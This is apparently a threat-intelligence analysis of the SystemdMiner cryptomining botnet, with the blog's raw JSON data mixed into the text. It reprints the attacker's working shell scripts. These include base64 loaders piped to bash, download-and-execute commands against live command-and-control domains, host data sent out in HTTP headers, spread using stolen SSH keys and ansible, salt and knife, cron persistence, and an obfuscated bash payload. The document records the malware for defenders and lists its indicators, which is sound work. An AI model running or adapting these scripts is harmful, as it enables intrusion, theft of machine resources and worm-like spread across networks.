ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}
s1() {
x=/slave
y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}
s2() {
x=/systemd-resolve
y=/tmp/systemd-resolve
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
s3() {
if [ -x $(command -v ansible) ]; then
ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v salt) ]; then
salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v knife) ]; then
knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
fi
}
s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3
The script has three key functions, which are:
1. S1() : Report compromised host information to rapid7cpfqnwxodo.tor2web.fyi/slave. To send back the current user name, CPU architecture, host name, and current user's cron table. After Base64 encoding, set these host information as the http-referer vaule and sent as an HTTP GET requests to C2;
2. S2() : Download the systemd-resolve file from C2 and execute it. System-resolve integrates the Exp of YARN's unauthorized access vulnerability;
3. S3() : Horizontal propagation using 3 *nix automated operation and maintenance tools (ansible/salt/chef-knife) and local SSH keys.
3.1.2 Shell Script 2: Setting up a cron task
The shell script used for horizontal propagation is also Base64 encoded and decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
if [ -x $(command -v crontab) ]; then
if [ $(crontab -l |grep REDIS00) ]; then
crontab -r
fi
if ((!EUID)); then
if [ ! -f "/etc/cron.d/systemd" ]; then
echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
fi
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
else
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
fi
fi
}
c
The main function of the script is to setup a new cron file /etc/cron.d/system to run /lib/systemd/systemd-login , the outcome of systemd-login-ddg. The wget and curl commands in the current user cron table are cleared to kill competitors' scheduled tasks.
3.1.3 Shell Script 3: Killing Competitors
The original script is also Base64 encoded and decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"
find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts
The function of this script is to remove various competitors.
3.1.4 Shell Script 4: Download and execute the cryptominer
The original script is Base64 encoded and decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi
To download and execute system-analyze from rapid7cpfqnwxodo.tor2web.fyi or rapid7cpfqnwxodo.tor2web . systemd-analyze is a mining program based on XMRig.
3.1.5 Shell Script 5: Update Samples and Malicious Shell Scripts
The original script is Base64 encoded and decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
u() {
x=/systemd.sh
(wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}
if [ -f /tmp/.systemd-update ]; then
kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi
u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi
systemd-login-ddg uses this script to check the sample update flag file /tmp/.systemd-updateand and download the latest systemd-login sample accordingly. The latest malicious shell script, systemd.sh is then downloaded and executed.
Next, systemd-login-ddg executes the sixth shell script. The sixth shell script is basically the same as the fifth one, except that there is one more C2 Domain to download the systemd-login sample: rapid7cpfqnwxodo.tor2web.io.
3.2 Systemd-resolve
As mentioned earlier, systemd-resolve integrates YARN's unauthorized access vulnerability to spred to other hosts horizontally. It is very similar to systemd-login-ddg , except that its daemon is named -rbash .
The sample is mainly used for internal network propagation targeting 172.16.0.0/12, 192.168.0.0/16 and 10.0.0.0/8. The sample first checks the LAN_IP of the current host, whether it belongs to the above three intranet segments:
If the current host's LAN_IP belongs to the above three network segments, the sample checks the 8088 ports of each host on the network:
For the right target host, to use the following Payload to propagate itself:
The shell script in Payload is also Base64 encoded and decoded as follows:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login-h
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi
We can see that systemd-login-h will be downloaded and executed. This systemd-login-h function is the same as the systemd-login-ddg analyzed above.
3.3 Systemd.sh
As mentioned earlier, systemd-login-ddg downloads systemd.sh and executes it in the fifth shell script. In the early days of our analysis of the SystemdMiner family, this systemd.sh script had no substantive content:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
At around noon at 2019.4.23, the attacker officially put the systemd.sh online, the latest systemd.sh content:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.d2web.org
fi
Thus its purpose is to download systemd-analyze and execute it.
3.4 Systemd-analyze
As mentioned above, SystemdMiner's current profit method is cryptomining, and the cryptominer program that ultimately undertakes this task is this systemd-analyze. The program also has the same methods of anti-analysis as SystemdMiner's other binaries, except that it names its own process as a 6-bytes random string of uppercase and lowercase letters and numbers. XMRig related string in the miner program:
The cryptomining pool (Or Proxy) is under the attacker's own control. The mining account, password and Or Proxy used are as follows:
The corresponding IPs belongs to normal company or organization, most likey hacked hosts.
DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128An Ice-cream firm in Ruassiaecosustain.infoA136.243.90.99A project from European Regional Development Fund
4. IoCs
Domains
aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org
Md5:
64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6 | {"version":"0.3.1","atoms":[],"cards":[["code",{"code":"aptgetgxqs3secda.onion.ly/systemd-cron.sh\naptgetgxqs3secda.onion.pet/systemd-cron.sh\naptgetgxqs3secda.onion.ly/systemd-login-ddg\naptgetgxqs3secda.onion.pet/systemd-login-ddg\naptgetgxqs3secda.onion.ly/systemd-resolve\naptgetgxqs3secda.onion.pet/systemd-resolve\naptgetgxqs3secda.onion.ly/systemd.sh\naptgetgxqs3secda.onion.pet/systemd.sh\naptgetgxqs3secda.onion.ly/systemd-analyze\naptgetgxqs3secda.onion.pet/systemd-analyze\nrapid7cpfqnwxodo.onion.ly/systemd-login-h\nrapid7cpfqnwxodo.onion.pet/systemd-login-h\n"}],["code",{"code":"119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China\n"}],["code",{"code":"109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C\n104.128.230.16 AS62217|VooServers_Ltd|United States|New York\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/dns_trend.png","alt":"","title":"dns_trend"}],["code",{"code":"{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e \"\\n0.0.0.0 pastebin.com\\n0.0.0.0 thyrsi.com\\n0.0.0.0 tor2web.io\\n0.0.0.0 gitee.com\\n0.0.0.0 w.21-3n.xyz\\n0.0.0.0 w.3ei.xyz\\n0.0.0.0 aptgetgxqs3secda.onion.ly\\n0.0.0.0 aptgetgxqs3secda.onion.pet\\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\\n0.0.0.0 aptgetgxqs3secda.onion.in.net\\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\\n\" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh\" | crontab -\n\necho \"\" > /var/spool/cron/root\necho \"*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh\" >> /var/spool/cron/root\n\n\nmkdir -p /var/spool/cron/crontabs\necho \"\" > /var/spool/cron/crontabs/root\necho \"*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\n\ncd /tmp\ntouch /usr/local/bin/writeable && cd /usr/local/bin/\ntouch /usr/libexec/writeable && cd /usr/libexec/\ntouch /usr/bin/writeable && cd /usr/bin/\nrm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable\n\nexport PATH=$PATH:$(pwd)\nps auxf | grep -v grep | grep betsbce || rm -rf betsbce\nif [ ! -f \"betsbce\" ]; then\n\n curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce\nfi\nchmod +x betsbce\n$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce\n\nps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9\nps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9\nps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9\n\necho ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash\n"}],["code",{"code":"exec &>/dev/null\nsed -i '/rapid/d' /etc/hosts\nsed -i '/aptge/d' /etc/hosts\n\nd() {\n x=/systemd-login-ddg\n y=/tmp/.systemd-login\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n sleep 5\n}\n\nif ! ps -p $(cat /tmp/.X1M-unix); then\n d aptgetgxqs3secda.onion.ly\nfi\nif ! ps -p $(cat /tmp/.X1M-unix); then\n d aptgetgxqs3secda.onion.pet\nfi\nif ! ps -p $(cat /tmp/.X1M-unix); then\n d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net\nfi\n\n"}],["code",{"code":"aptgetgxqs3secda.onion.ly/systemd-login-ddg\naptgetgxqs3secda.onion.pet/systemd-login-ddg\naptgetgxqs3secda.tor2web.fyi/systemd-login-ddg\naptgetgxqs3secda.onion.in.net/systemd-login-ddg\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/packer.png","alt":"","title":"packer"}],["image",{"src":"__GHOST_URL__/content/images/2019/04/anti_analysis.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/04/create_daemon.png","alt":"","title":""}],["code",{"code":"#!/bin/bash\nexec &>/dev/null\n{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\nsleep $((RANDOM % 600))\n(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash\n"}],["code",{"code":"\"${@%4}\"$'\\145v'${*%%5}al \"$(rK=(\\& \\ ${*,,} l H \\|${*//t5/&W} h n\"${@//ar}\" s \\+${*##\\(%} \\!${!*} M${*^^} \\. c 1${*##o} T 3\"${@~~}\" a${*~} w\"${@%9Q}\" g q \\-${*#uo} \\(${*,} \\=${*##+C} \\; O${*%JK} U\"${@~}\" 2$* \\<${*%%3} y \\} \\:${@//_o/F} u e\"${@}\" r \\/ L \\{ o i k S\"${@//Ao/W}\" m f${@/s\\`/\\]} v${@%0$} A $'\\xa'${*/Xr/>} \\$${*/&T} b t\"${@^^}\" P x \\) X p${*/u} d \\>)&&for JS in 32${*#mP} 50\"${@%%L}\" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\\\} 54 32 43 34${*/^\\{/T} 6 31 2\"${@//s/x}\" 2${*,,} 45\"${@,,}\" 32${*%E} 50 53${*//;\\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14\"${@,}\" 3 30 34 47${@##+H} 38${*/j\\!} 6 30 34${*%Oe} 7 47 38 6${*/P\\}/\\)s} 30${@%%DG} 34\"${@%%J7}\" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31\"${@%Z}\" 7${*%G6} 33\"${@}\" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37\"${@//q?}\" 12 16 2${@//K/EH} 34 47${*//./_\\}} 38 6 30 34 31 7${*^} 33$* 34\"${@,}\" 2${*~~} 37\"${@/-/=}\" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36\"${@##qh}\" 45\"${@^}\" 1\"${@,,}\" 1${@/^z/o} 1 1 50 22${*~~} 34\"${@##\\`}\" 7 28\"${@,}\" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\\`\\\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28\"${@~~}\" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\\}} 7 28 7 48${*##\\\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48\"${@^}\" 1 20${*/-G} 19 25 20 1 20\"${@}\" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46\"${@,,}\" 28 1 4 4${*%g8} 1$@ 12\"${@%%%S}\" 31\"${@}\" 33\"${@##6^}\" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1\"${@##Zk}\" 20\"${@//;O}\" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1\"${@%%V}\" 46${*%h6} 28${*%h7} 23 46${*~} 28\"${@^^}\" 45 29${@//5/1} 45 45 38 42 1${*//z/\\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11\"${@//?\\(/9}\" 52\"${@//:3}\" 13${*~~} 10 20 31\"${@#o}\" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48\"${@/Tc/&F}\" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\\}#} 6${*//\\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1\"${@##r}\" 4 4${*^^} 1${*#3} 54${@^^} 1\"${@}\" 16 53 48 18 32${@/\\}\\}} 48 18\"${@^}\" 50\"${@^}\" 19${@##d%} 7${!@} 15 7\"${@}\" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4\"${@%77}\" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18\"${@~}\" 32${*//,/P} 48 18 50${@##@} 19\"${@%b}\" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37\"${@//Ca}\" 33\"${@~~}\" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38\"${@^^}\" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\\\} 53 48 18$@ 32${@#\\\\} 48 18${@/9} 50 19 7${*#\\`c} 15 7 32 12${*^} 54${@%\\]} 16 11 48 37\"${@#V6}\" 33\"${@^^}\" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45\"${@~~}\";do pr${*//<}i$'\\x6e'\\tf %s \"${rK[$JS]}\"\"${@/#}\";done;)\"\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nd() {\n x=/systemd-login\n y=/tmp/systemd\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n}\n\nif ! ps -p $(< /tmp/.X1M-unix); then\n d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io\nfi\n"}],["code",{"code":"exec &>/dev/null\nexport PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\n\nxssh() {\n ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'\n}\n\ns1() {\n x=/slave\n y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))\n wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x\n}\n\ns2() {\n x=/systemd-resolve\n y=/tmp/systemd-resolve\n wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y\n chmod +x $y;$y\n}\n\ns3() {\n if [ -x $(command -v ansible) ]; then\n ansible all -m shell -a 'echo 